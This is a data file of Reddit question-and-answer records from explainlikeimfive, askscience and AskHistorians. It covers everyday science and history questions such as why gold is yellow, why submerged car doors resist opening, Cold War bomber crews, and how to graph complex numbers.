{"q_id": "3l6bcc", "title": "why are a lot of my childhood memories feeling like dreams as i am older looking back?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3l6bcc/eli5_why_are_a_lot_of_my_childhood_memories/", "answers": {"a_id": ["cv3inkg", "cv3ivon", "cv3l3k0"], "score": [13, 3, 5], "text": ["They're more distant, and you're further from the context they came to exist in. It's harder to really identify with who you were after so much change in who you are. The experience of 10 year old you is very different from the experience of 20 year old you. \n\nYou aren't remembering you, you're remembering you as you were. The bigger that gap gets, the more alien the memory seems.", "Interesting too how memories diverge over time.  Compare a vivid memory with someone who experienced it with you long ago.  It's freaky how different they can be and start to seem more like a dream over time.", "Memories and dreams are pretty similar.  \n\nWhen you sleep, your brain does maintenance basically.  It kind of lets connections be made that aren't normally made when you're waking because it would be really confusing.  Typically the part of your brain that rationalizes things is shut off at this point.  If that part of your brain starts to wake up, or you're awoken while you're sleeping, you have a bunch of kind of confusing feelings and images.  \n\nWe don't like confusing partial images, it's like when we look at the clouds, we see animals and shapes in the clouds, when we look at shadows in the dark forest and we see faces.  Our brains are really good at taking partial information and presenting it in a way where we believe we see the whole picture. \n\nWhen we have dreams, we have a super sparse set of feelings and images, and they can't even all be tied together.  It's like when you wake from a dream, if you try to remember specifically what happened in your dream, precisely what was said, exactly what was in the room with you, you'll realize that you \"can't remember\" a lot of those details.  But the thing is basically those details didn't exist in the first place.  What we end up with when we're finished kind of processing the dream is a memory.\n\nEach time we recall a memory, it creates a new memory of that recollection. I remember reading an interesting study on this a while ago.  But basically, when you recall a memory, you only really get access to bits and pieces of it for the most part.  Your brain goes through the same process of building that back up by filling in the blanks, and now that new reconstruction is a new memory.  The next time you recall, you might get bits and pieces of the original memory, and bits of pieces of the reconstruction.  Sometimes the reconstruction is going to differ from the recollection and it becomes muddy what was actually memory and what was filled in.  For childhood memories, some parts get remembered over and over and really stand out, and some parts are missing.  Your brain does the same thing though, and at initial recollection of these memories, you feel like you have a full picture, but if you start to think about the details (what color shirt was my dad wearing in that memory) you realize they were filled in kind of like your dreams. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7jrzua", "title": "Why is musical theater associated with gay men?", "selftext": "Not sure if this is the right place to ask, but as the title says, why is musical theater associated with gay men? In every musical I've seen that had a romantic plot or subplot, the romance was always straight, be it South Pacific or Phantom of the Opera. On top of that, a lot of musicals seem to have things in them designed to cater to straight men. While I haven't been able to see Chicago on stage, if it's anything like the movie I can't imagine a gay man would get much out of, say, When You're Good To Mama.\n\nHowever, the connection is there, for whatever reason, and if it isn't the content of the musicals themselves, the only thing I can think of is some kind of historical event. Were there any famous gay musical actors who were out before being out was a normal thing or something?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7jrzua/why_is_musical_theater_associated_with_gay_men/", "answers": {"a_id": ["dr9ldam"], "score": [6], "text": ["You may find some of the answers [in this thread](_URL_0_) to be insightful. Credit due to u/caffarelli for their write-up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1vovah/whenwherewhy_did_theater_particularly_musical/"]]}
{"q_id": "1u58cn", "title": "Do sewer systems in large cities have to account for the curvature of the Earth in order to ensure that water flows \"downhill\" correctly?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u58cn/do_sewer_systems_in_large_cities_have_to_account/", "answers": {"a_id": ["ceemwvp", "ceet59t", "ceexhfh"], "score": [11, 10, 2], "text": ["AFAIK, the only thing which required compensation for the curvature of the earth is the accelerator at the [SLAC](_URL_0_) National Linear Accelerator. It goes under I-280 and when it was constructed, it had to be sufficiently straight that a \"level\" could not be used to assure this.\n\nFor a sewer system, the tolerances are not so finicky and a spirit level would be fine. And the piping segments which comprise a sewer system have sufficient tolerances to allow the earth's curvature and more.\n\nIn any case, \"water seeks its own level\" implies the curvature already, as the oceans curve all the way around the earth.", "In practice, not really. Laying out sanitary and storm sewers is very much a game of connect the dots; you're more worried about the relative position of each node to the next. You'll have countless minor connections to homes and businesses, tied through lateral lines into several trunk sewers which gather the flow, and a handful of interceptor sewers which run to your treatment facilities (or in the case of a completely separate storm sewer, to a local waterway). The interceptor sewers are the largest and straightest, but even those will only stretch a few miles within city limits.\n\nPoint being, it's about the relative elevation of the ends of those pipes. \n\nThe curvature of the earth is so minor that even in a major sprawling city, it would still be mathematically negligible over even very long lengths of pipe.\n\nWhile it's an awesome consideration to think about, I'm afraid it's just a tiny one.", "Not to highjack this thread too much but on a related note, does anyone know if this would have impacted the Romans while they were building aqueducts over 100s of miles or would the same thing mentioned here by others (i.e. short segments needed only to be flowing downhill within each section) apply?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/SLAC_National_Accelerator_Laboratory"], [], []]}
{"q_id": "56vwh1", "title": "In Taiwan, \"betel nut beauties\" used to be a common sight. Why did sellers in Taiwan use such blatant \"sex sells\" marketing with betel nuts but not with other products?", "selftext": "In other words, why haven't there been \"______ beauties\" for all kinds of products in Taiwan? What made betel nuts special? [Wikipedia](_URL_0_) seems to cite intense competition, but it's not like the betel nut market is the only competitive one out there.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/56vwh1/in_taiwan_betel_nut_beauties_used_to_be_a_common/", "answers": {"a_id": ["d8mwzzz"], "score": [8], "text": ["How it happened is that it kinda just happened. It's not that it began as scantily clad women. The original \"betel nut beauties\" were much more modestly dressed. The same question can be asked for the funeral pole dancers; There was a performance for the deceased which over time became what it is today, but didn't just appear out of nowhere.\n\nThe origin is traced back to the Xi\u00e8 family in C\u01ceot\u00fan Village just south of Taichung. They had a betel nut stand in the early 1970s at which the three daughters of the family (Xi\u00e8 Xi\u00f9zh\u016b, Xi\u00e8 Xi\u00f9hu\u0101 and Xi\u00e8 Xi\u00f9l\u00e1n) were employed. Teenagers at the time, the daughters are credited with attracting a lot more customers than competing businesses. Customers were enamored enough to send them gifts and attempt to court the girls. Their position in the history of the Betelnut Girls culture is pretty well cemented, and you can find the same story about them told in any number of sources.\n\nLater on in the 1990s a television variety act of singers C\u00e1o L\u00e1n and Y\u00e1o D\u00e0iw\u011bi became quite popular and was credited with furthering the culture of Betelnut Beauties. You can see one of their more well known acts [here](_URL_0_). You'll notice their style of dress is still somewhat conservative there.\n\nThere's more than can be said about the history of the development, but the answer to your question is  a lot more mundane that what you might be expecting. The target market has often truck drivers and people of a lower socioeconomic background, a market for which the gradual progression to what you'd see in more recent years was perceived to be a significant economic benefit, but not at all something that happened overnight. If anything it's been going the other way, as in the last 15 years regulations have gotten tighter as far as government imposition of dress codes. And by no means is the scantily clad clerk a requirement, as many betel nut stands throughout the country have regularly dressed sellers.\n\nPoint is, the same can be said for KTV girls, or the Taiwan Beer girls you see at bars. The undressing is something tied to the standards of the times and the nature of the work."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Betel_nut_beauty"], "answers_urls": [["https://www.youtube.com/watch?v=Egrmyb3eF_s"]]}
{"q_id": "1sywxd", "title": "why do older cameras look worse and more pixelated on 280p then new cameras set on the same quality.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sywxd/eli5why_do_older_cameras_look_worse_and_more/", "answers": {"a_id": ["ce2mxmc", "ce2q8yp"], "score": [3, 2], "text": ["Things like definition/resolution only tells you how many pixels there are, not how good a camera is.\n\nA perfect detector will have every pixel in the image the exact colour it should be. Most cameras don't have perfect detectors, so the random differences (noise) lower the image quality.\n\nFor a new camera set to lower than maximum resolution it will still use the whole detector to capture the image and then combine pixels in an area to generate the 280p image, this averages out the noise in the detector and produces a better looking image.", "it's kind of like asking why your Honda doesn't handle as properly as a corvette even though you swapped a corvette engine into it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "g3bmb", "title": "If we had never seen an actual sample of gold, would modern atomic theory predict/know that it is yellow? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g3bmb/if_we_had_never_seen_an_actual_sample_of_gold/", "answers": {"a_id": ["c1knh0b", "c1knhsl"], "score": [23, 4], "text": ["Yes.\n\nGold is actually very interesting as one needs to use relativistic corrections to correctly predict the yellow color - otherwise a silvery color is predicted. The atomic structure of lighter elements in metallic form can be predicted by quantum mechanical methods without appealing to special relativity. \n\nGold is one of the 'coin metals' which form a column on the periodic table with copper, silver, and then gold. \n\nOne can even predict the color of the next coin metal [roentgenium](_URL_0_), or element 111. If you could keep enough of it in metallic form long enough to take a look it would appear to be a silvery color. The half life of the element is ~20 seconds so this is theoretically possible but infeasible in practice.", "Yes... it has to do with band gaps. [Here's](_URL_0_) a great website that explains it well I think."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Roentgenium"], ["http://www.webexhibits.org/causesofcolor/9.html"]]}
{"q_id": "2yb21r", "title": "In case of a nuclear war what would bomber crews do after dropping their payload?", "selftext": "Where would they land or would they meet up somewhere?\n\nEDIT: Since there seems to be some confusion about which timeframe I'm asking about. I'm mostly interested in the cold war area since that was the time nuclear bombers were most likely to be used.\nThank you for all the great answers!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2yb21r/in_case_of_a_nuclear_war_what_would_bomber_crews/", "answers": {"a_id": ["cp7yhdd", "cp802ih", "cp819ki", "cp84rlf", "cp8a29y"], "score": [75, 484, 51, 28, 21], "text": ["It really depends on when and what country you're talking about. Can you clarify?", "The Convair B-36 was SAC's primary nuclear bomber from 1946 to 1959.  Based in Alaska, they had insufficient range to fly the return leg of a bombing mission over the Soviet Union.  In addition [Operation Castle's](_URL_1_) results indicated that a typical wartime delivery profile would result in significant damage to the aircraft.   Either way, it was a one-way trip.\n\nWith the introduction of the B-52, this changed.  It was faster, longer ranged, and capable of in-flight refueling. SAC had [up to 12](_URL_0_) of them in the air at any given time.   Assuming they weren't blown out of the sky by SAMs or Interceptors; they could make it back to friendly soil.", "Does anyone have an answer for Soviet bombers? \n\nOr maybe even French, British or Chinese bombers pre-missiles?", "The very excellent *15 Minutes: General Curtis Lemay and the Countdown to Nuclear Annihilation* (which incidentally I picked up based of the recommendation of a flairred user here, /u/restricteddata) address this at one point.  \n\nIf a nuclear exchange was preceded by a period of heightened tensions the United States Air Force's Strategic Air Command (SAC) would have increased the number of aircraft it had on air borne alert, and also farm out the remaining bombers across the continent to a series of secondary and tertiary fields.  Theoretically some of this alternate air fields would have survived a initial exchange, especially given that SAC expected a nuclear war not to be fought with one massive bang and its done exchange but to fight nuclear was more akin to the tides- every few hours horrible, horrible things would happen.  The theory is that a returning bomber would be able to find one of these tertiary fields that would allow them to refuel and rearm and do it again.  That is all incredibly theoretical, as realistically SAC knew the vast majority of it's bombers would have been shot down or landed elsewhere.  The survival rate on the B52 crews would be low enough to make an attack on the USSR a suicide mission.  ", "In the case of Strategic Air Command, the crews of the B-52 were always trained to be prepared to ditch their planes after reaching their targets.  The plan that SAC had drawn out was that a B-52 would launch from its forward located base, receive usually one air refuel then proceed to its target.  Ideally, the plan would be that once they delivered their pay load, they would return home and most likely receive another air refuel on the way.\n\nRealistically, SAC was prepared that the B-52 would at least reach its target and it was unlikely that there would be a refueler to meet up with them.  They were directed to attempt to ditch in friendly or neutral territory.  The idea of ditching wasn't lost on the Boeing either, the first few generations of B-52 were utilitarian, no comfort, and had a as one B-52 Nav that I knew put it \"a disposable feel to it.\"\n\nIf you are really interested in this topic, I recommend reading Command  &  Control by Erich Schlosser.  A book so accurate that the Pentagon Joint Staff had an investigation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nukestrat.com/dk/alert.htm", "http://oai.dtic.mil/oai/oai?verb=getRecord&amp;metadataPrefix=html&amp;identifier=AD0338333"], [], [], []]}
{"q_id": "4kg466", "title": "why are we not able to open car doors if completely submerged underwater?", "selftext": "I see this in movies a lot and don't really understand why this mechanism would be implemented in cars.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4kg466/eli5_why_are_we_not_able_to_open_car_doors_if/", "answers": {"a_id": ["d3ena0f", "d3enc23", "d3ep1lt", "d3ex2f6"], "score": [32, 6, 7, 2], "text": ["The weight of the water is what prevents you from opening the door, it's the equivalent of having several big fat guys leaning on your door from the outside. \n\nOnce your car is filled with water the pressure is the same on both sides of the door and you can open it without issue.\n\nMythbusters has a whole episode about this. ", "Try this: Fill a bucket with water. Lift it. It is really heavy. In fact, about 9 lbs per gallon (1 kg/liter!). Now imagine how much water is on the other side of that door pushing it to stay closed. This is why. There is a lot of weight in water holding the door closed.", "Pressure difference.  In the same way a door opening in a space ship allows the air to rush out (high pressure inside to low pressure outside) the water is trying to get in (high pressure outside vs low pressure inside.)", "Water weighs a lot, and having your car door submerged means you need to push away all the water above it. Because of this pressure, and the fact you will need to dispalce the water due to hydrodynamics, it is nearly impossible to open a submerged car door. \n\nInstead you should break the window, as that won't require pushing against the water. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "aelop1", "title": "why do trade agreements between countries need to be so complicated and all-encompassing?", "selftext": "Rather than spend years agreeing an all-encompassing trade deal wouldn't it make more sense for countries that deal with each other just to work through their goods and services one at a time and establish a small agreement for each? I realise there's probably going to be a benefit to one of the parties in each trade but surely this would average out over time as more individual deals are agreed?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aelop1/eli5_why_do_trade_agreements_between_countries/", "answers": {"a_id": ["edqai2t", "edqdm29"], "score": [4, 3], "text": ["Trade deals involve a lot of give and take and all of the topics are related. Country A might want Country B to reduce the tariffs on corn but Country B wants Country A to reduce tariffs on cars. In this very simple scenario they can come to a compromise by agreeing to reduce both tariffs at the same time.\n\nNow, multiply this by the hundreds of thousands of goods and it gets really complicated really fast. You can't do a small agreement for each item because they all need to be balanced against each other.", "And there are way more than 2 countries.  A might want something from B, but A also trades with C which B has a gripe with.  \n\nNot to mention that many final goods have components made in a variety of countries.  For example,  your \"American made\" Ford might have its final assembly in the USA, while having something like the drivetrain made in Canada and the seats and suspension in Mexico.  \n\nAdd in that due to international trade,  many producers have geared themselves to make far more than they can sell to their home markets. Take american farmers - a huge portion of their sales are international.  Crops grown,  factories built,  etc for producing for the world.  If you start messing with that,  especially given the relatively complex supply chains of today's producers,  it can cause unintended upstream and downstream ripple effects. \n\nAlso raw materials typically are used by more than one industry and if those industries supply each other,  you can have multiplied trade effects if you deal with each industry individually.  \n\nAlso,  with hundreds of countries and millions,  if not billions,  of products..... well, do the math on all the individual trade deals that would take.  It'd literally never get done.  For example (pretty sure it's a permutations calculation), with 195 countries,  it would take 37,830 separate trade deals for just a single product or industry. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1nel0u", "title": "why almost all car radios have exactly six programmable radio station buttons.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1nel0u/eli5_why_almost_all_car_radios_have_exactly_six/", "answers": {"a_id": ["cchvc3x", "cchwgk8", "cchxmsn", "cchy0h9", "cci07ml"], "score": [2, 10, 2, 8, 6], "text": ["I'm sure back in the day, it was probably a technical limitation combined with usage research. They probably found that people have around 6 choices for their radio stations and having more than that would add unnecessary costs. \n\nNow its an ergonomic design choice. you don't want to have too many buttons on the front of the radio, and i'm sure with the decline and overall crappiness of radio, on average most consumers would only have around 6 choices of what they could tolerate. \n\nThe buttons also have to be big enough to press easily and identify, and not press any other buttons.\n\nMany modern car stereos have more than one bank of 6 though, to have more choices with the same button layout.", "Into the 1970s, at least, most car radios had *five* programmable buttons, not six.\n\nI remember how the buttons on the radio of my mom's '62 Le Sabre had \"B-U-I-C-K\" spelled out on them.\n\nIn those days car radios were programmed mechanically: you'd tune to the desired station using the knob, then grab the designated button and pull it out, then push it in again.\n\nWhen electronic car radios first came out in the late '70s or early '80s, the number of programmable buttons was typically reduced to four, at least on American cars.  I have no idea why.\n", "I would say its mechanical and logical. Buttons take up a lot of space. Especially when they are to be used in a moving vehicle because you aren't the most accurate button pusher on a bumpy road. But at the same time buttons are easier maneuver in a moving vehicle than many other type of controls that we have invented. For example I'm sure you could have just one button and then a rotating wheel from 1-6 or 1-50 for all it matters that would have your favorites but rotating a wheel takes more motor function and therefore doesn't make for safe driving(well, i mean old radios used a wheel so sure you could do that. but really the point is for it to be favorites. When you ask someone their favorite color you don't expect them to name like 6 colors they love). So now we have big buttons, and we have to have 1 button for every station. So if each buttons an inch. 6 buttons is 6 inches. So sure you could have 60 favorite radio buttons on your dash board. but who wants a car where 70% of your dash board is just your favorite radio stations. No one. It would look bad and kinda suck because you would have a hard time remembering that many anyways.", "A lot of in-dash CD players had 6-disk changers. 6 radio preset buttons can double as 6 disk-selection buttons.", "My vehicle has the presets double as CD controls. Fast Forward, Rewind, Skip Forward, Skip Back, Pause/Play and Stop. Thus, Six."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "69jzrz", "title": "why does your tongue rest at the roof of your mouth instead of the bottom?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/69jzrz/eli5_why_does_your_tongue_rest_at_the_roof_of/", "answers": {"a_id": ["dh76r8q", "dh779va", "dh77gyy", "dh79bt1", "dh7dow2", "dh7kw4b", "dh84xb1", "dh865ow", "dh89ory"], "score": [4, 3, 94, 310, 17, 6, 2, 27, 2], "text": ["I think its part of the natural swallowing process. Try swallowing with your tongue on the bottom! I guess it makes sense for it to already be up there to be \"ready\".", "Your dentist would call you a \"tongue thruster\" and they might even install a dental appliance on the roof of your mouth to prevent you from pushing your teeth forward. I had one when I was 10ish, braces era of my prepubescent life. It's usually a sign that you'll grind your teeth, too.. you carry tension in those jaw muscles. Relax. And talk to your dentist if you have pain in your jaw. ", "Because you probably speak English or one of a few other languages as your primary language.\n\nStudies show people keep their tounges at different positions in their mouths based on what their first/primary language is.\n\nEDIT: people were (rightly) asking for sources.  [Here's a peer reviewed one from Yale/The university of British columbia](_URL_0_)", "Glottal blocking so that nose breathing is easier. If your tongue rested without touching the roof of your mouth it would not seal your mouth and it could allow air to be pulled in between your lips, or saliva to be inhaled. \n\nTry this little experiment. Open your mouth and don't allow your tongue to touch the roof of your mouth or close your throat. What I mean is with our mouth open if we make a \"guh\" shape with our tongue like saying the letter G (which seals our glotis) most people (some say they can. Who am I to argue lol) will be unable to breath in through their nose at all. This is because there is less resistance inhaling through the mouth. If you start closing your mouth or allow your lips to come together a little to create more restriction, then it will start to come in through the nose more. But wide open mouth and wide open tongue/throat you cannot breath in through your nose. \n\nThe usual resting position of the tongue is low in the back and curving slightly at the tip lightly touching the back of the hard palate in the roof of your mouth just behind the front teeth (usually not touching the front teeth at all) Although people of different native languages sometimes have slightly different resting positions for the tongue depending on the sounds they use with the tongue more forward or more back in the mouth. This may affect a comfortable resting position that is not always the same in different people. ", "Huh? Am I weird or is OP?", "Just another voice of the bottom-tonguers. Yeah you read that right. \n\nSeriously tho, my tongue rests on the bottom of my mouth as well. I do have sinus issues, and so I've breathed primarily through my mouth for most of my life, so that might play a part, but I know plenty of people who rest their tongues at the bottom.\n\nCase in point: there are certain qi gong and yoga practices that require the practitioner to place their tongue on the roof of their mouth, and it's not just taken for granted, it's really emphasized that people need to put their tongues there. If most people already had their tongues there, it wouldn't really need to be mentioned.", "Mine actually rests near the bottom and pushed against my teeth. I didn't realize I was doing things differently until a dentist told me the gap between my front teeth couldn't really be fixed unless I changed where my tongue rests. I would end up slowly pushing my teeth out until there was a gap again. ", "Didn't even realize my tongue is always at the roof of my mouth instead of the bottom -__- ", "Mine rests at the bottom, though I imagine that's because I had a very tight frenulum and was almost techinically tongue tied."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;url=http://www.haskins.yale.edu/Reprints/HL1394.pdf&amp;ved=0ahUKEwieiYO02dvTAhVB4YMKHcbeCSUQFgg2MAM&amp;usg=AFQjCNFsGuoTffwVILfx6XBXoYYoOm_jHw&amp;sig2=KoxH3YWLlT3SnyhJpVjuHw"], [], [], [], [], [], []]}
{"q_id": "acb0rn", "title": "why is the combination of nuts,cheese, crackers and grapes so popular?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/acb0rn/eli5_why_is_the_combination_of_nutscheese/", "answers": {"a_id": ["ed6jz2q"], "score": [2], "text": ["It has all of the taste factors we look for in food. It\u2019s crunchy, salty, savory, sweet, nutty and just slightly acidic. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8h78on", "title": "why do cockroaches flip upside down when sprayed with an insecticide?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8h78on/eli5_why_do_cockroaches_flip_upside_down_when/", "answers": {"a_id": ["dyhkn4d"], "score": [29], "text": ["Many pesticides are organophosphates.  This means they are essentially a very dilute form of nerve agent.  Some of the most lethal poisons on Earth were discovered when scientists were trying to research pesticides.  Anyway, the principle mechanism for death by nerve agent is that the toxin causes all the muscles in the body to experience uncontrollable contractions.  If the dying insects are twitching back and forth, that\u2019s because their bodies are seizing.  It\u2019s actually a very horrible way to die."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2mzzz1", "title": "Can x, y, and i be graphed on the same graph?", "selftext": "This question came up in my high school Algebra II class today. We were learning about graphing complex numbers using the complex plane, and someone asked if you could just add the imaginary axis to a graph that already has x and y axes. My teacher said he had never really thought about it, and therefore could not provide a good answer. If you can graph all three (x, y, and i) on the same graph, what would it look like? If you can't, why not?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2mzzz1/can_x_y_and_i_be_graphed_on_the_same_graph/", "answers": {"a_id": ["cm93coz", "cm94drx", "cm94n9k", "cm95f23", "cm968bz", "cm969yl", "cm96ojt", "cm96qt6", "cm9ahgq", "cm9loz2"], "score": [142, 9, 2, 21, 5, 3, 2, 3, 132, 2], "text": ["While I prefer teachers to admit when they don't know something rather than dissemble or deflect, I hope this is no indication of the general state of your teacher's education in mathematics.\n\nI'm not quite sure what the question is about, but in general, the answer is yes. There are three possibilities:\n\n1. You want to graph a real-valued function of complex numbers (a function f that takes complex arguments but outputs real numbers). Example: the magnitude |z| of a complex number\n\n2. You want to graph a complex-valued function of real numbers (real argument, complex value). Example: a complex exponential exp(I t) with real t\n\n3. You want to graph a complex-valued function of complex numbers (complex argument and complex value)\n\nThe first two options are easy. You create something like a 3D [isometric plot](_URL_0_). For option 1, we typically choose the horizontal plane as the complex plane and plot the function value on the vertical. For option 2, you usually choose one of the horizontal axes as the time (real) axis and the other two as the complex plane.\n\nThe third option is more tricky because we cannot imagine what a 4D plot would look like. Usually, you will use several 3D plots over the complex plane to visualize the function. For instance, you could create two separate plots of the real and imaginary values respectively, or the argument (angle) and magnitude, or all four of them. ", "I'm not sure I quite understand what you are getting at, so let me know if I am close.  Also, I will try to be a little less rigorous with my mathematics considering you are in high school.\n\nUsually, you have x as the horizontal axis, and y as the vertical axis.  When graphing complex numbers,the real number line is the horizontal axis and i is the vertical axis.\n\nSo, you are asking can you plot something in an x-y-i space?  Well, the answer is yes, but it may not be very meaningful to you.\n\nYou can plot a [surface](_URL_0_) as a function of two variables.  So your function could take inputs of complex numbers (a+bi) and spit out real numbers (y).  \n\nOr, your surface could take in pairs of real numbers (x,y) and spit out the imaginary part (that is the number solely in front of the i) in the i axis.\n\n", "You mean like [this?](_URL_0_)", "Your question is kinda tricked.\n\nif a function is a complex function (not purely real nor imaginary), it would requires 2 axis to be represented.\n\nSo if you want to plot a function F(X)=Y where both variable are complex, you need 2 axis for both of them, so a 4D graph.\n\nYou can't really have a graph 3D with (x,y,i) the way you propose it, since the imaginary part of x shouldn't be on the same axis as the imaginary part of y.", "The question you are asking makes little sense. X and Y are variable. i is the imaginary constant.\n\nWhen you do a plot with \"i\", what you are really doing is plotting two axes: Re(x) and Im(x), the real part of x and the imaginary part of x.\n\nIf you had a function f: R - >  C (a complex-valued function of a real variable), you could make a 3d plot of X, Re(Y), and Im(Y). An example of this is [this plot](_URL_0_) of circularly-polarized light, with time being the x-axis, and the real- and imaginary- parts of the wave (which correspond to electric and magnetic components).\n\nYou could also do something for the reverse case, f: C - >  R, a real-valued function of a complex variable. For example, the *modulus* function, y = |x| = (Re(x)^2 + Im(x)^(2)) ^ (1/2). Here the axes would be Re(x), Im(x), and Y. [Here](_URL_1_) is an example plot -- although they are labeling the axes differently, with z=|x+iy|.\n\nAnd that kind of brings me to the next point. No matter how you label it, you are essentially just making one complex variable into two real variables when you do this. That first function, y = e^(j*t), can be written as y=Re(e^(j*x)), z=Im(e^(j*x)), and now you have y and z in terms of x. And the second function can be written as z = |x+iy|, which is z in terms of x and y.\n\nSo the answer is really, no. Having its own axis as \"i\" does not make sense. Complex axes are *real parts* and *imaginary parts* (or sometimes magnitude/phase). Having \"i\" on its own is meaningless.", "You could indeed make a 3D graph with x, y, and i axes. Every point on the graph would represent a number pair of the type (real, complex). For instance, the x-axis could determine the real number, and the y and i axes could together determine the complex number.\n\nWhy you'd want to do this I don't know, but it's certainly doable and mathematically coherent. ", "This answer is essentially the answer given by /u/kl4me above, except he does a better job explaining it.\n\nI think to give you a simple straight forward answer that gets to the core of your question.  The answer is yes you can, and in fact you can visualize it as a 3D graph with an x-axis (real), y-axis (real), and z-axis (imaginary).  Thus when you plot points on this graph you will be plotting points (x,y,z*i) just like if you plotted points in R^3.  So the answer is trivially of course you can.\n\nThe question is, does this set of points (x,y,z*i) have any extra structure that would make it a distinct number system from just the vector-space of points (x,y,z) in R^3.\n\nRecall that for the case of points (x,y) in R^2, the answer is yes, we can introduce a specially designed operation which can multiply points in R^2, and voila we have created the complex plane (x,y*i), thus we make a distinction between points (x,y) in R^2, and points (x,y*i) in the complex plane, even though the points in the complex plane are really just the points in R^2, except with some extra multiplicative structure which turns them into a field.\n\nIf no such special extra structure exists when you take points (x,y,z) in R^3, and consider the z coordinate as being imaginary, then really nothing changes and you're just left with R^3.", "I am reading all of these answers and I am getting more confused than I think I should be. Everyone is giving examples of 3D and 4D graphs, but couldn't imaginary numbers be represented on the same 2D graph that real numbers are?\n\nFor example, [here is WolframAlpha's representation of \u221ax](_URL_0_). You can see the imaginary part and the real part on the same graph and on the same plane. \n\nOr is OP asking something different?", "Lots of good answers here, but let me try my own shot at explaining things in a way that's very very simple and directed straight at what's useful for the OP.\n\n\n\u2022 Right at the outset, it's important to distinguish between x  &  y, which are variables in this context, and i, which isn't. The simplest way to think of it is as the imaginary unit: the real number line goes 1, 2, 3...; the imaginary number line goes i, 2i, 3i... and so forth. \n\n\n\u2022 If I want to graph the number 4, I don't need a sheet of graph paper \u2014 I just need a one-dimensional number line; I can then put a dot at 4. On a sheet of two-dimensional graph paper, each point represents a pair of numbers \u2014 for example (3, 4). \n\nThis is often useful when graphing equations, because if I establish a relationship between two variables (y = x+1, for example), I can then graph all the pairs of numbers (such as (3, 4)) which satisfy that equation. (In this instance, that set of points forms a line.)\n\n\n\u2022 On the other hand, if I treat my sheet of two-dimensional paper as the 'complex plane' which you learned about in school today, each point represents a SINGLE complex number. So, for example, the point (3, 4) on your page is actually the number 3+4i. \n\n\n\u2022 So what this really means is that when we use a sheet of 2D graph paper to plot points in the complex plane, it's analogous to using a 1D number line to graph points among the real numbers. \n\n\n\u2022 Of course, we can have equations in which we think of the variables as representing complex numbers. So, for example, consider the equation y = x^2 + 4. One possible solution to this equation is (0, 4). But another possible solution is (2i, 0).\n\n\n\u2022 It's easy to graph a function y = f(x) on a 2D sheet of graph paper if x and y are both real numbers. But what if we allow either or x or y to be complex? Well, if one or the other of them is complex, we would need to build a three-D graph. And if they BOTH are complex, we'd need 4D graphing, which isn't really possible!\n\n\nIs this a helpful start, OP?\n\n----\n*Edit*: minor fixes.", "an x-i graph is a graphical representation of a hard-to-understand single value.  an x-y graph takes two values and compares them in a single graphic.  the short answer to the question is no, the x and y axis would each require their own independent i-axis, requiring you to plot this graph in _four_ dimensions"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Isometric_projection"], ["http://en.wikipedia.org/wiki/Surface"], ["http://www.wolframalpha.com/input/?i=%28-2%29^x"], [], ["http://en.wikipedia.org/wiki/File:Circular.Polarization.Circularly.Polarized.Light_Without.Components_Left.Handed.svg", "http://mathworld.wolfram.com/ComplexModulus.html"], [], [], ["https://i.imgur.com/0aEWWuN.png"], [], []]}
